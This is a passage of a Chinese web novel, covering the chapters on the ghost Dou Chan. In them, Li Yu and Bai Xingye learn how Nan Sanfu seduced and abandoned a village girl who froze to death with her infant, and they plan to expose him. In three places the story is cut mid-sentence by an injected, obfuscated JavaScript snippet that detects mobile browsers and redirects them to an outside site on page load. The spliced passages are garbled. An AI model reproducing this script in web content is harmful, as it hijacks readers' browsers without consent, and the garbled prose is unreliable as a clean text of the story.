“那是在小姐出嫁前几日,有一天小姐哭着醒来,看上去像是被吓到了。我便问她发生何事,小姐说梦中有一女子,披头散发,面目可怖,抱着一浑身青紫的婴儿出现,那可怕的女子对她说,‘如果她要嫁南三复,必要取她性命’。” 万没想到事情竟是这样的发展,李钰又问:“既然如此,难道她没有跟父母讲?为何还是嫁给了南三复?” 春杏叹了口气,道:“当日小姐便哭着求老爷和大娘子不要将她嫁出去,还将梦中的警告也说了出来,谁知道老爷和大娘子面露惊异,也是恐惧非常,原是因为他们也梦到了同样的内容,同样的抱着孩子的女人,同样的警告!” “那为何还是……” “可又有何用?”春杏惨然一笑,“即便他们都做了同样的怪梦,还不是贪图南家的地位权势,硬将小姐嫁了过去。即便那几日小姐日日以泪洗面,绝食相抗,人都瘦了一圈,依旧没让老爷他们改变主意。” 李钰和白行野万万没有想到居然还有这样的父母,一家三口都做了这样不祥之梦,还能心无芥蒂地让女儿出嫁?明明自家也不差钱,何必贪图别人家的那点富贵,竟不顾自家女儿的安危! 见二人皆是一脸惊诧和不解,春杏摇了摇头道:“是吧?连外人也无法理解老爷和大娘子这样固执要嫁女儿的理由。” “那……后来你家小姐到底是怎么被害死的?”白行野蹙眉问道。 “其实刚嫁进南家的时候并无异常,只是小姐仍旧每日惶恐不安,姑爷……南家少爷只当是她是太过思念家人便没有在意,也不常与小姐待在一起。或许是老爷和大娘子终归心中有愧,没多久便上门来探望。” 春杏越是回忆越是呼吸急促起来,“提前一天小姐就收到了帖子,小姐虽记恨当初被迫嫁人,那日还是一大早便起来了,让我伺候她梳洗穿衣,如往常一样。可谁知道老爷和大娘子突然闯进房里,像是受了极大的惊吓,看到小姐后更是吓得厉害,大娘子都尖叫了起来,引来了好多人,南三复也跟着来了。老爷和大娘子当时就指着小姐连声地问,‘你不是吊死在后花园了吗?’,当下我只觉着老爷和大娘子疯了,当着小姐的面说出这么不吉利的话,可他们一说完这话,我就见小姐脸色一变,直直向前倒去,我都来不及去扶,她就那么一头栽了下去。南三复将她翻过身来一看,又猛地将小姐推开,我这才看清倒在地上那个人哪里是小姐?而是一具已经僵硬了的女尸!” 那样的场景,想起来都令人胆寒。 “那具女尸的脸上甚至覆盖着一层冰霜,我当时就吓懵了,只听着房中的人都尖叫起来,后来想起来,南三复当时好像是叫了一声‘窦娘’。”春杏边说边打了个颤,小姐忽然平白变成另一个人,甚至是一具尸体!那一刻在春杏心中留下的恐惧实在太深刻,她仿佛又身临其境般身体微微颤抖起来。李钰见她这样,也起了一身的鸡皮疙瘩。 “然后呢?”白行野低沉的声音将两人都拉回了现实。 春杏低下头缓了缓才说:“然后大家都跑出了房,老爷和大娘子硬拉着南三复去后花园看,后花园的桃花树上真的吊着一个女子,我远远就认出来那是我家小姐,我冲过去摸到她的手,已经……冷透了。” “后来的几日,我也浑浑噩噩,我想不通明明我早晚都伺候小姐,她是什么时候吊死在后花园的?那具女尸又是什么时候化作小姐的样子出现在房间里的?我只知道房中的女尸被南三复叫人处理了,小姐则当天就发丧了,甚至都没设灵堂。又过了好几日,南家人把我打发回孙家了。”春杏忽然想起了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17280977|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻笑了一声,只是那笑意实在苦涩,“说起来你们来得也算及时,老爷和大娘子日日见着我也总是不开心,看着我就会想起小姐,就会想起他们明明已经被女鬼警告过,还要让小姐陷入死局的恶行吧。过不了多久我大概会被打发到庄子上去了,我是个无用之人,没法帮小姐报仇。她若真是受了南三复牵连,那也太过冤枉了!如果你们真的有能力,求求你们帮帮我家小姐,还她一个公道吧!” 说到最后,春杏已经是咬牙切齿,李钰能感受到她恨的不止是厉鬼,对南三复和自家老爷、大娘子也都充满了怨恨。 白行野认真看了看这个年龄不大的小姑娘,郑重点了点头,“好。” 也不知春杏是不是相信了他们,她向二人福身行了一礼便告辞了。 李钰不认识孙小姐,但看着春杏如此为她不平,相信她也不会是个坏人,只是一个甚至连父母都不珍视的可怜人。还好至少这世上还有一个人,是真正关心孙小姐的。 现在,基本能够确定孙小姐之死确实为厉鬼所害。可那位叫做“窦娘”的厉鬼,为什么非得杀孙小姐?或许孙家父母贪图南家地位权势,促成了南三复和孙小姐的亲事,可孙小姐的婚姻和性命却都是由人摆布,她本人则是全然无辜的啊。 “那位窦娘子难不成对南三复真就爱更胜于恨?即使化为厉鬼了,也不找他报仇,反而对他的新婚妻子心生妒意吗?”李钰说出自己的分析,但他也觉得这未免太荒唐了。 白行野却道:“厉鬼怨念极重,执念更深,所思所想皆不能以常人论之。此事虽然我们无法理解,可在厉鬼眼中或许就是理所当然之事。” 李钰浑身一震,这位窦娘子和她的孩子冻死在南家门口之事,着实是闻者心惊,可她如此戕害无辜之人,真正的罪魁祸首南三复却还活得好好的,这实在是…… “那我们如今怎么办?厉鬼害了无辜之人性命,必是要收的,可罪魁祸首南三复却没有任何惩戒,窦娘子和她的孩子不向着负心汉复仇,我都提她憋屈。”李钰一时也想不出这事到底该如何处理。 左右为难之下,两人只得先归家从长计议。 商量了许久,白行野的想法是,他直接去南家将那窦娘子捉来审问再说后续。李钰并不想和南三复多接触,暂时也没旁的主意,便让白行野试试。 可谁知或许是因为南家此前找过高僧、道长,那窦娘子竟是十足的警觉,白行野每每潜入南府都能感知到明显的鬼气,却遍寻不得那女鬼踪迹。如此几次探寻竟都落了空,另他颇受打击,反倒南府因为他常悄悄进出搜寻,这些日子太平了许多。 当然,李钰这边也没有闲着,根据‘窦娘’这个称呼去查找了府县内去年腊月死亡的窦姓年轻女子,可这件事居然也进展缓慢。义庄记录、街头乞丐乃至南府周边的邻里,都没有听说过这样的一个女子。 虽是两边双管齐下,居然也折腾了快一个月,李钰这边才略有了些进展,他打听到南家在城外有一处别庄,在别庄附近村落里有一户窦姓人家,他家的女儿就是腊月死的。因为家里贫寒,连口好棺材都没买,而是一卷草席匆匆埋掉,因此知道这事的人并不多。” 女子姓氏、年龄、去世时间、以及住址也和南三复常去之所靠近,李钰猜测这名女子,应当就是南三复口中的“窦娘”。 65.窦氏(一) 两人查找到线索,便马不停蹄地赶往村庄,想找窦娘唯一的亲人,也就是她的父亲问询情况。可来到窦家,却无人在家,想来应当是出去劳作了,两人只能在门口等着。 窦家隔壁的邻家妇人倒是注意到他们俩,窦老头又是哪里认识的贵人?她借着在院子里喂鸡的功夫,不住地打量着二人。 这样探究的目光白行野自然没有错过,他给李钰使了个眼色,李钰顺着望了过去,正好和妇人的目光对上,只见那妇人马上移开眼,低头看自家老母鸡。 反正干等着也是无聊,李钰便隔着篱笆招呼道:“大婶你好啊,你知道窦家老汉什么时候回来吗?” 那妇人听到对方叫自己,有些不好意思地冲两人笑笑,“窦老头肯定又打酒去了,往回都是太阳快落山才回来呢。你们找他有事儿啊?” 李钰见对方是个健谈的,便走了过去,想着顺便问一下那妇人知不知道窦娘的情况。等他一说明来意,那妇人面上表情立刻变得惆怅,继而长吁短叹起来,显然是知道点事情的。 李钰忙道:“我知窦娘子有冤屈,才想来调查实情,若大婶您知道什么还请如实相告。” 那大婶却也有些警惕,迟疑地问道:“你们二位也不像是衙门的呀,怎的要查这种事?一看二位打扮定是城里的公子哥,可是认识南三复?” 大婶想试探二人,但也实在不会骗人,话里话外已经让人察觉出些眉目。 见她如此,李钰干脆也老实道:“是认识,不过我们与他无甚交集,只是听说他抛妻弃子以至南家闹鬼,我们多方打听,才怀疑是窦家娘子冤魂报复。而我这位朋友是一位得道高人,想要帮帮窦娘子,因此过来调查事情的真相,以图亡灵安息。” 闻言,大婶惊讶得合不拢嘴,半晌才叹道:“我当初就劝婵儿不要去找那个负心汉,她偏不听!丢了性命不说,如今竟连做了鬼也不安生吗?”她的话语中透着真情实意的难过和担心,拉开竹篱门就请二人进去说。 大婶姓刘,是个寡妇,她将她自己所知的事情一五一十地告诉了二人。李钰他们此前通过南府邻居的三言两语,只知道隆冬之时一女子抱着襁褓中的孩子冻死在南家门口,却不知个中细节和缘由。 通过刘婶的叙述,二人才得知,原来事情经过更加令人发指。 那是在一年多前,南三复独自骑马去别庄玩,南府别庄离城也就十几里路,可那一天在路上突然下起了大暴雨,南三复只能在路过的一家村户家里避雨。 这家村户便是窦家,家中有一名老汉叫窦廷章,知道附近有南府别庄,南三复又常去别庄玩,这一路上的村人好多都认得他。贵人驾临,窦廷章非常热情地将南三复请进屋里,甚至还殷勤地打扫了一番,拿出蜜水来招待他,还让女儿窦婵速去张罗饭菜。 大雨久下不停,南三复心里嫌弃这农家简陋,饭食更是粗糙,却也只能在此停留。他食不知味的样子落在窦廷章眼中,令窦老汉有些不好意思,便拿出珍藏的好酒,招呼自家女儿出来帮着给贵客烫酒吃。 窦婵娇声应下,人也随声而至,姑娘一露面,南三复的眼睛就直了。只见这窦婵年龄不大,生的是杏眼朱唇,粉面桃腮,极是清丽可人,就连简陋的农舍也因为她的出现也如同被其美貌照亮了几分。 窦婵难得见生人,脸上浮现一抹羞怯的薄红,她规规矩矩地给客人烫完酒,就又去了门前站着。外面雨声滴答作响,窦婵就站在门前赏雨,室内油灯的光线昏暗,朦朦胧胧地勾勒得门前姑娘的身影更显窈窕。 雨声渐歇,南三复喝完酒也不好再留,只能先告辞。可他回去后,那窦小娘子的面容和农户门前的那道倩影,始终在脑海中挥之不去。 不过才第二日,他便带上了布匹、粮食又去了窦家,以感谢之名又在那里逗留了许久。从那以后,南三复就时常上门拜访,大有同窦廷章结为忘年交的意思,窦廷章只觉得自己面上有光,与南府公子交好,在村人中名望都高了些。却不知南三复醉翁之意不在酒,他没发现每回有窦婵出现的时候,南三复总是要呆得久一些。 如此来回几次,南三复也摸清楚了窦廷章什么时间不在家,这天便专挑着他外出劳作之时上门拜访。因他时常前来拜访,窦婵也不大回避他了,家中老父不在,窦婵不好意思让他在堂屋干等,便出来为他奉茶,茶盏刚放到桌上,一只手就拉住了她的纤纤玉指。 窦婵惊呼一声,就要把手往后抽,哪知南三复将她的手握得紧紧的,只听他道:“我常常前来,窦娘难道不知我是为了谁吗?” 闻言,窦婵面色绯红,这位南公子每次看她的眼神,她岂会毫无察觉?甚至内心还有欢喜,毕竟南三复长相英俊,家世又好,这样的公子少爷都是千金小姐去配的,如今能得他的垂爱,本就生出一丝爱慕之心的窦婵哪能不欣喜得意? 她不再抽手,可仍偏过脸,矜持道:“我家虽穷但也不是受人摆布玩弄的,若公子是真心相待,便要答应娶我才行。” 南三复眼睛一亮,自知事已成了一半!若是以往,欺男霸女的事他不是没做过,可这窦小娘子却像是山坳坳里生出的一朵精致纤弱的娇花,让他也难得地想诱其甘愿入怀,不然何必费这么多功夫? 他忙指天发誓道:“若能得窦娘爱怜,自当要娶你为妻,此后更不再看他人一眼!此心此情,永不相负。” 窦婵毕竟年岁不大,又自幼丧母总觉的自己没有依靠,见南三复如此果断地指天发誓,心里竟然万分感动,主动依偎进南三复的怀中。 南三复只觉温香软玉入怀,立即心猿意马起来,一朝得手更不能轻易放过。他将窦婵抱进闺房中,什么肉麻的话都往外说,哄得窦婵迷迷糊糊就任他施为。 此后,二人更是趁着窦廷章不在家之时厮混在一起,日子一久窦婵几乎已经视其为夫君。她沉溺于甜蜜的情爱,身心都依托在南三复身上,一心只想早早嫁入南府,光明正大地和南三复在一起,因此时常催促他快点提亲。 南三复一边享受着情爱,一边以门第之别还需再三说服父母为由,拖延着时间。他装出深情的模样哄着窦婵对他死心塌地,心里却想一个村户家的女儿还想做我的正妻,这小娘子还真是天真可爱。 而此时,窦婵还不知南三复早已经和另一大户人家的小姐定了亲了。 如此又过了些时日,窦婵居然有孕了,这下她可吓坏了,不能让南三复再推诿下去,一次比一次催的紧了。久而久之,南三复心底最后的那点舍不得也没了,他越发厌烦窦婵没有自知之明,认不清现实,终于在窦婵一次哭闹着催促后,愤然转身离开,再也不上窦家门了。 窦婵久等他不至,可挺着肚子也不敢出门去寻南三复,平日连她爹都躲着,天冷她穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284594|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的厚实,倒还真没被粗心大意的窦廷章看出什么端倪。直至孩子出生,窦廷章才震惊发现女儿居然与男子有染,还生下了孽种!窦廷章怒极,不顾窦婵刚生完孩子,便抄起鞋子责打起她。 窦婵本就是虚弱之时,哪里受得住打啊? “爹!求你别打了!”她虚弱地哭求道,“南三复说了会娶我的!这是他南家的亲生骨肉,南家人知道了就会将我们接过去的!” 窦廷章住了手,其实他心里已经猜到,这个孽种多半是前些日子总来拜访的南三复的孩子,若是真如窦婵所说,那他以后岂不就是南府的老丈人了? 他的面上仍是愤怒,却放过了女儿和那孽种,立刻去了城里,找南三复报喜去。 此时的南三复还有一月有余就要成婚了,见了窦廷章找来只道不好,一听窦娘居然把他的孩子生下来了,心里更是恼怒,都好几个月不去看她,还不知道他的意思吗?不自己悄悄把那孩子打了去,生下来干什么?平白招惹祸端!果然是没见识的农家女,为了攀附他连脸面都不要了。 南三复此时简直恨极了窦婵,对着窦廷章便矢口否认自己与他女儿有染,甚至出言讽刺道:“窦老头,你管不好自家闺女也罢,怎还找上我?我南三复要什么样的女人没有,去招惹个乡野村姑?我可都好些日子没去过别庄那边了,你家女儿和野男人私通生下的孽种,还想赖在高门大户的头上,简直太不知羞耻了!” 原本存着的攀附心思就这么被一盆凉水浇透,还受了奇耻大辱,窦廷章压抑着怒火回到家,什么也没说,只将窦婵打得死去活来,抱起襁褓中的孩子就丢了出去。 窦家闹得厉害,邻家的刘婶早就注意到了,她见窦廷章抱着一个襁褓出门,忙偷偷跟了过去,果然见窦老头将孩子丢弃在山路旁。 刘婶心软便将男婴抱回了家,这才没让稚子在寒冬中被冻死。 到了晚上,窦婵忍着身上的剧痛,偷偷跑出了家门想要去寻孩子,路过刘婶家门前听到传来婴儿的哭声,立刻上门询问。刘婶一看是她,忙把她拉进屋,一看在床上啼哭的果然是她的孩子。 窦婵扑上去,紧紧抱着孩子痛哭不止。刘婶也算是看着窦婵长大的,心疼地抹泪,连声问道:“到底怎么回事?你怎么把自己弄成这样?” 这些日子,窦婵每一天都是煎熬,今日东窗事发,南公子那边还不知是何情况?自己亲爹就又打又骂,还要丢弃她的孩子!窦婵心里委屈至极,面对久违的关心之语,她便一股脑地将事情原委告诉了刘婶。 刘婶听完竟不知如何评价,只能摇头叹道:“这……这你以后可怎么办啊?孩子又怎么办啊?” 窦婵抹去眼泪,像是下定了决心,“我带孩子去找他父亲,我不信他看到孩子还会如此狠心!他曾经对我发过誓,说过永不相负的!” 刘婶见她如此执拗,劝道:“傻姑娘,男人嘴里哪有实话的?难道如今,你还看不清吗?” 窦婵眼里又蓄起泪光,“可若不去找他,我和孩子还有何出路?家里……已经容不下我们了。” 刘婶知道自己无法再劝,只能拿出自家还算厚实的衣服,给窦婵和孩子裹上,任她去了。当时她想,只要窦婵去南府碰了壁总要回头的,窦老汉再如何混账总不能将亲闺女打死,只是这孩子…… 可她没想到的是,窦婵这一去便再也没能回来 66.窦氏(二) 窦婵抱着孩子连夜赶到城中,找到了南府便在南家门口叫门,很快就有门房来看,见是一个带着孩子的女子,立刻脸色一变,将她们关在门外。这一看就知道,是有人特意吩咐了的,窦婵心中大恸,一屁股坐在门口声嘶力竭地大哭了起来,怀中的男婴也感受到了母亲的悲痛和绝望,也大声哭嚎了起来。 南府虽大,四周的邻居都离得远,可这么凄厉的两道哭声在寂静的夜里显得格外刺耳,左邻右舍纷纷探出头来,被不知道从南府哪个门出来的家丁给骂了回去。那些家丁倒是也没有驱赶那对母子,只是离得远远的,冷眼看着就不给开门,等街坊四邻惧于南府家丁威慑都关紧了门户,便更不管窦婵母子,径直走小门回了南府。 那是南三复早有准备,想着她迟早闹这么一遭,知道无望便会回去了,不叫人驱赶她,也算他留给窦娘的最后一点体面。果然如他所想,哭声一直持续到快四更天,就渐渐平息了,南府众人总算是安心了下来。 哪知第二天一大早,南府门房将门缓缓打开,却意外见那抱孩子的女子还没走!他刚要再关门,忽然觉出不对,门口跪着的女子紧紧抱着襁褓中的婴儿,一大一小缩成一团。门方上前仔细一看,这对母子赫然已经僵死在门口! 窦婵低垂着脑袋,眼睫都挂着冰霜,双目怒瞪,竟是死不瞑目! 南三复虽没有亲眼见到当时的场景,仍是被吓得病了几日。他哪里料到一个自己口中的村姑,居然如此执拗,简直是故意报复,想用她的死污了他的名声!南府老爷让人一卷草席裹了窦婵的尸身给窦家送回去,又逼着周边的邻居收了银钱,管好自己的嘴巴,才没让此事闹大。 窦廷章看到女儿和外孙冻僵的尸身,知道了她们惨死在南府门口之事,立时就闹着要去县衙报官。可南家人早先他一步,给胡知县送去了千两白银的厚礼,又不情不愿地给了窦廷章一笔赔偿,这事便不了了之了。 刘婶知道得这么清楚,正是因为她见窦婵一夜未归,实在放心不下,天还没亮就去了城里,亲眼看到了南府下人将窦婵母子尸身搬走的场景。后来又见窦廷章大骂着要报官,却再没听到后续,可埋葬了窦婵和她孩子后,窦老头却忽然有钱了,花钱大手大脚起来,时常看他提着酒肉回家,刘婶就什么都明白了。 而这么大的事情,城中知道的人居然没有几个,若非李钰花心思花钱去打听,又找到刘婶这个知情人,他恐怕永远不会知道,整件事竟然是如此的触目惊心。李钰思及他查到的窦婵不过及笄之年,还有那刚出生的孩子…… 他不自觉地握紧了双拳,阖上双目。 南三复此人,实在是该死! 刘婶将事情说完,又懊悔地抹泪道:“我当初频频见那南三复来拜访窦家,有时候窦老头还不在,当时就应该私下劝劝婵儿,又怕她一个小娘子面薄,我若去戳穿反倒让她做出什么傻事就不好了。直到……哎,为时已晚,如今说什么也没用了。” 室内陷入沉默,李钰二人也不知如何安慰刘婶,他们一开始是想了解清楚来龙去脉,想知道这厉鬼害人的理由,为无辜的孙小姐讨回一个公道。可任谁听完窦婵所遭遇之事又能不同情?尤其在李钰一个现代人眼中,就是一个还未成年的小女孩被人诱骗,唯一的亲人也没有站在她这边,最后还送了自己和孩子的命。 此时太阳也快落山了,两人告别了刘婶。他们走出没多远,就看到了一个提着两壶酒的老头往窦家走,可他们只是擦肩而过,已经没人想问这个狠心的父亲什么了。 回到家后,李钰和白行野几番讨论下来,都没有想出应该如何处理这件事。窦婵想要复仇那是理所当然,可偏偏她第一个报复的对象,却是全然无辜的孙家小姐,南家人却只是受到了一些不痛不痒的报复。 白行野前些日子潜入南府,窦婵总能及时避开,可他也并非什么收获都没有。在南家上上下下各种人的私下议论里,也拼凑出了窦婵在南家作祟之事,托梦吓人、制造幻象、婴儿夜啼、时不时打碎些杯盘碟碗,还吓病了南三复的父亲,可总归不过是一些恶作剧般的作祟。甚至因为上个月白行野多次前往,反倒是让窦婵消停了,南家人还当厉鬼已经走了。 李钰实在不愿相信窦婵真就是个恋爱脑,都被害成这样了,难道只因为嫉妒而杀害孙家小姐? 而且此事居然又牵扯到了知县胡端,他断案不明,好屈打成招,如今还收受贿赂,罔顾人命,这些事难道就要永远埋藏下去吗?武进县如今有这样的父母官,往后会不会出现更多的冤假错案和贪赃枉法? 各种各样的思绪缠绕在心头,饶是向来脑子活泛的李钰也觉得棘手了。而就在此时,他收到了一个更令人愤怒的消息——南三复又要娶妻了!说是要给自家生病的老爷子冲喜,这一次他们相中的非是本地大户的女儿,而是远在百里外一位曹姓进士的女儿。 李钰只觉悚然,孙家小姐才死了多久?他们就又要去迫害下一个女子吗?在南家人眼里人命到底算什么?! 白行野拍案而起,怒道:“既然如此,南家不是闹鬼吗?何不让他们家闹得更厉害些,闹到百里之外的人都知道!我看还有谁家敢把女儿往他们家嫁!” 也是难得看到白行野如此怒形于色,这虽然是气话,但或许真的可行。 “你说得对,就应该这么办!”李钰眸光一亮,有了主意,“不只是要让方圆百里没人敢将女儿嫁给他,还要让所有人都好奇他们家为什么会闹鬼。我们要让南三复曾经犯下的罪行,桩桩件件全都暴露于青天白日之下!” 李钰的话掷地有声,这些日子的笼罩在心间的阴霾在这一瞬拨云见日。 这日,结庐茶楼里一楼大堂如往常一般热闹,客人们有的在此点上一壶茶水解渴歇脚,有的与友人边吃点心边闲聊。跑堂的穿梭在众人之间,忙得脚不沾地,这时又见门口进来两个熟客,忙笑脸相迎收拾出一桌,请两人坐下。那是算卦的独眼龙张瞎子和卖糖人的周老汉,两人点了一碟蚕豆、几个大馒头,又要了壶茶水。 周老汉猛灌一口茶水,润了润喉咙,冲张瞎子说道:“老张,你听说了南府闹鬼的事没?我就没见过闹这么凶的!前日,我挑担从他们家门前过,那可是青天白日的,竟然听的南府有婴儿和女子的哭声,听着可惨,跟狐狸叫似的。” “这有什么?人家里面有小孩女人不很正常。”张瞎子嚼着蚕豆不在意道。 “你是不知道。”周老汉压低了声音,“你没听说那南府少爷的新媳妇刚过门没几天就死了,家里哪有什么小孩?而且这哭声不像是府里传出来,跟就在大门口嚎哭的一样,我打门口过的时候听得可清楚了!一开始还以为有人躲在门口石狮子后面哭,可仔细一看,这南府大门紧闭,门口连个鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289226|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影都没有!你说这怪不怪,你不是算命的,算算咋回事呗。” 周老汉声音虽然不大,可他的话还是被周围的一些客人注意到,周遭安静了不少,许多人都竖着耳朵听他说。 张瞎子捋了捋胡须,好像在回想什么,还好着的那只眼睛眨了眨,神秘道:“窥探天机岂是随意能为之的?不过我确实也听说过些这南府之事。” “怎么说?”周老汉忙问,周围的人更是都闭上嘴偷听。 “方才你仔细一说,我才想起前些日子有人来找我算命,让我算算他是否要搬家。一问才知,此人家住在南府旁,说南府近来每日闹腾,他听着里面动辄尖叫哭闹,可吓得不行,琢磨着要不要把自家房产卖掉,搬到别处住去。” “你看看,我没听错吧,那声音听着可渗人了。”周老汉激动道。 “你低声些。”张瞎子看看四周,众人移开目光,装作喝茶吃点心,张瞎子才道:“那些鬼哭狼嚎的我就不说了,大概是和你听到的一样,可怪事不止这点!他还看到过两三次南府后院的门无风自开,不一会儿就有两个南府下人从里面抬出一卷裹着东西的草席,看着竟像是裹的人!” 周老汉都听呆了。 张瞎子故作神秘地停顿了片刻,喝了口茶,“这还没完,那人仔细一看,才发现抬着草席两个仆从,竟都生的一双毛爪子,往上一瞧,那脸居然是狐狸的脸!给那人吓得想跑,可这时候连人带草席,忽然就都消失不见了。这事让他看到了好几次,每次都是两只狐狸脸的人抬出来草席,走出两步就消失在原地。就因为这事,他才怕南府的鬼魅狐狸对自己有妨害,想要搬家的。” 周遭的人听了都倒吸一口凉气,在脑海中想象了一番那样的场景,这确实谁能不怕啊? “这么说南府不但闹鬼,还有狐妖?”周老汉问。 “谁知道呢?我在这武进县呆这么多年,还没真见过鬼妖什么的,但看那人忧心忡忡的模样也不像是说假话。” 他俩在这儿聊着,旁边那桌人的一个闲汉将头探过来,接话道:“这可真不是假话,我有个兄弟在南府做工,你们说那两件事,我都听过。说一开始还只是些小打小闹,就是晚上不知哪儿传来的女人孩子的哭声,还有没人的屋子里东西莫名其妙摔砸东西,一些人看到一闪而过的鬼影之类的。本来前个月都好些了,我那兄弟还道是南府请的高僧能耐大,结果就这个月忽然变本加厉,如今白天都不带消停。” “诶这位兄台,你这么说,那可是闹了好些日子了啊?” “起码有仨月了,不知道是不是那南府死了的新媳妇在作祟。”闲汉看他们听得认真,颇为自得,便瞎分析起来,“你们看那新媳妇才嫁进去几天就死了,一开始都没人知道,连个葬礼都没办,都是后来才渐渐传开的。要说里面没有猫腻,谁信啊?” “那可不一定,那南三复得罪过的人多了去了,前些年不还有人传过他虐打死自家奴婢的事吗?”又一个穷书生凑了过来,“而且啊,不知你们有没有听说过?去年腊月的时候他们家门口冻死过人,我还是听我家隔壁挑菜担的说的,他向来出门早,那日打南府门前路过,看到个抱孩子的女人跪在那,冻成个冰雕似的。他吓了一跳转头就跑了,这些日子听说南府闹鬼的事,那老头才跟我说的,不然他还当自己看错了,怎会有人冻死在自家门口都不管的?” 67.窦氏(三) 这穷书生的话一石激起千层浪,众人也不再装模作样地偷听了,纷纷加入讨论。 “真有这事吗?还是去年发生的。哎呀,这南府可真不得了,这些事竟都捂得紧紧的,也不知道犯下多少罪孽,才闹得现在这般。” “是呀,那不是最近又要娶亲了,这是哪家的人啊?还敢把女儿嫁进他们家。” “会不会是不知道?你看这闹鬼的事不也是最近咱们这边才听说吗?” “可不对啊,南府要真背着这么多命案,怎么没人报官?衙门不管的吗?” 人群中有人嗤笑一声,“我们这的糊涂官断案都断不明白,南府的人再塞点钱给他,他还管个屁!” “你小声点,这可不敢乱说。” 讨论的人越来越多,各自说着自己听来的关于南府的流言,夸张点的还说南府炼化鬼魅,用五鬼搬运术敛财,一时之间茶楼内热闹非凡。 二楼雅间倒是清静,可几个本来在谈生意的中年商客,此时也都竖着耳朵听着楼下传来的讨论,正是听得津津有味。 最里面的隔间坐着四人,其中两位正是李钰和白行野,与他俩相对而坐的竟是胡四相公和小翠,楼下那些人所言多少也落入了他们几人耳中。 李钰对他俩拱了拱手,笑道:“真是麻烦二位了,大家天天去南府闹上一闹效果着实显著。” 小翠眨眨眼睛,很是得意,“这有什么麻不麻烦的,我倒觉得还挺有趣的。何况那个负心汉合该遭报应,南家人纵子至此,如今这番光景也是他们自找的。” 胡四相公也道:“二位对我可是再造之恩,这点小事实在不足挂齿。” 小翠也不跟他们客气,绘声绘色地细数他们这几日的“战绩”,以及南家是如何的人仰马翻,逗得几人几次忍不住笑出声,好在白行野一早布下了隔音结界。 原来南府之事闹大,还多亏了胡四相公手下这帮狐狸们,正如小翠所言,小妖们倒是玩得有趣,装鬼哭扮鬼影搞搞破坏,玩得不亦乐乎。 这么一闹,这几日茶楼客栈常常能听到人们聊起此事,这就是李钰要的效果。闹大了传出去,让别人都不敢往南家嫁女,更要众说纷纭,让人质疑人命之事和官府失职!这其实也算是上一次卞牛医被杀案上学来的经验,纵使南府再有钱有权,也堵不住悠悠众口。 日前听说那位曹姓进士已经拒了南府的提亲,而南府闹鬼风云更是在城中甚嚣尘上,便是胡知县最近也是很少出门了,更不用说原本有那攀附之心的人家,即便并不忌讳鬼神之说,也怕自家被说成是推亲女进火坑的畜生,要被别人的唾沫星子淹死的。 而南府之中更是一片混乱,因着南府乃是南家祖宅不可轻易出售和搬离,而且谁知道他们搬了家那些个妖魔鬼怪还会不会还缠着他们?于是只能不断地求助于一些江湖术士或是所谓的“高人”,可往往好一两天,就又要闹起来。南家人苦不堪言,身心俱疲,好些短工都已经辞了工,可惜那些家生子和买来的下人们,再害怕也只能留在那里。 可唯有一点令人担忧,便是窦婵躲起来了。或许她也很奇怪南府怎么接二连三地有妖物上门,若只是些小妖便罢,可纵使她怨气深重,可无论白行野还是胡四相公,都不是她一厉鬼能抗衡的。 但她执念如此之深,总不可能这么轻易放弃报仇,一直这么躲下去。 李钰心下暗忖,眼下窦婵也该急了吧。白行野也未放松对南府的监视,山不来就我,我便去就山,他每日也会去南府附近查探一番,搜寻窦婵踪迹。今天也是如此,白行野已经出门,李钰则在家陪詹贵儿读书。 小孩其实也想去南府捉弄人,被李钰严词拒绝,现在正赌气呢,李钰还硬拉着他读书。 “我一个鬼学这些干嘛啊?!”詹贵儿终于崩溃大叫。 “你做鬼难不成也要做个文盲鬼吗?你在叶先生面前也这么说话吗?”李钰也装作生气的样子教训道。 詹贵儿极会看眼色,知道李钰不是真的生气,依旧耍赖撒娇,缠着李钰扭得跟扭股糖一样,闹着要李钰陪他玩。 李钰败下阵来只得道:“行行行,读完这一篇,我们就下会儿五子棋。” 詹贵儿开心地点点头,终于乖乖地拿起书坐好,念了起来。李钰往身后的椅子上一瘫,养小孩可真不容易。 听着小孩奶声奶气读书的声音,李钰昏昏欲睡,正迷糊着忽然好似听到细细的呜咽声。他猛地睁眼,看见詹贵儿也停下了念书,神色紧张地打量四周。 不是错觉,真的有哭声!那声音本来细如蚊呐,被人发现后似乎更嚣张了起来,渐渐变成嚎啕大哭,极为尖利刺耳。一股寒意从脚底直窜后脑勺,李钰拉着詹贵儿就要往书房外跑。 